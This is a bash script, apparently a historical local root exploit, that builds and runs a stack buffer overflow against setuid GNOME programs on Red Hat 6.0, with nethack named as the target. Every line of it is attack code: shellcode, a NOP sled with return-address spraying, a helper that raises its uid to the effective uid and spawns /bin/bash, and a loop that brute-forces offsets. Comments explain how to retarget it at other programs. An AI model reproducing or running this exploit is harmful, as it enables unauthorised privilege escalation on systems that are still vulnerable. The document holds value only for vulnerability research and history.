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- #!/bin/bash
- # Generic exploit for GNOME apps under Linux x86
- # Our overflowed buffer is just 80 bytes so we'll have to get our settings
- # just so. Hence the shell script.
- #
- # This should work against any su/gid GNOME program. The only one that comes
- # with RH6.0 that is su/gid root is (the irony is killing me) nethack.
- #
- # Change the /usr/games/nethack statement in the while loop below to exploit
- # a different program.
- #
- # -Brock Tellier btellier@webley.com
-
- echo "Building /tmp/gnox.c..."
- cat > /tmp/gnox.c <<EOF
- /*
- * Generic GNOME overflow exploit for Linux x86, tested on RH6.0
- * Will work against any program using the GNOME libraries in the form
- * Keep your BUFSIZ at 90 and only modify your offset
- *
- */
-
-
- #include <stdlib.h>
- #include <stdio.h>
-
- char gnoshell[]= /* Generic Linux x86 shellcode modified to run our
- program */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/tmp/gn";
-
- #define LEN 120
- #define BUFLEN 90 /* no need to change this */
- #define NOP 0x90
- #define DEFAULT_OFFSET 300
-
- unsigned long get_sp(void) {
-
- __asm__("movl %esp, %eax");
-
- }
-
- void main(int argc, char *argv[]) {
-
- int offset, i;
- int buflen = BUFLEN;
- long int addr;
- char buf[BUFLEN];
- char gnobuf[LEN];
- if(argc > 2) {
- fprintf(stderr, "Error: Usage: %s <offset>\n", argv[0]);
- exit(0);
- }
- else if (argc == 2){
- offset=atoi(argv[1]);
- }
- else {
- offset=DEFAULT_OFFSET;
- }
-
-
- addr=get_sp();
-
- fprintf(stderr, "Generic GNOME exploit for Linux x86\n");
- fprintf(stderr, "Brock Tellier btellier@webley.com\n\n");
- fprintf(stderr, "Using addr: 0x%x buflen:%d offset:%d\n", addr-offset,
- buflen, offset);
-
- memset(buf,NOP,buflen);
- memcpy(buf+35,gnoshell,strlen(gnoshell));
- for(i=35+strlen(gnoshell);i<buflen-4;i+=4)
- *(int *)&buf[i]=addr-offset;
-
- sprintf(gnobuf, "--enable-sound --espeaker=%s", buf);
- for(i=0;i<strlen(gnobuf);i++)
- putchar(gnobuf[i]);
-
- }
- EOF
-
- echo "...done!"
-
- echo "Building /tmp/gn.c..."
-
- cat > /tmp/gn.c <<EOF
- #include <unistd.h>
-
- void main() {
- printf("before: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
- geteuid(), getgid(), getegid());
-
- setreuid(geteuid(), geteuid());
- setregid(getegid(), getegid());
-
- printf("after: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
- geteuid(), getgid(), getegid());
-
- system("/bin/bash");
- }
- EOF
-
- echo "...done!"
-
- echo "Compiling /tmp/gnox..."
- gcc -o /tmp/gnox /tmp/gnox.c
- echo "...done!"
-
- echo "Compiling /tmp/gn..."
- gcc -o /tmp/gn /tmp/gn.c
- echo "...done!"
-
- echo "Launching attack..."
-
- offset=0
-
- while [ $offset -lt 10000 ]; do
- /usr/games/nethack `/tmp/gnox $offset`
- offset=`expr $offset + 4`
- done
-
- echo "...done!"
-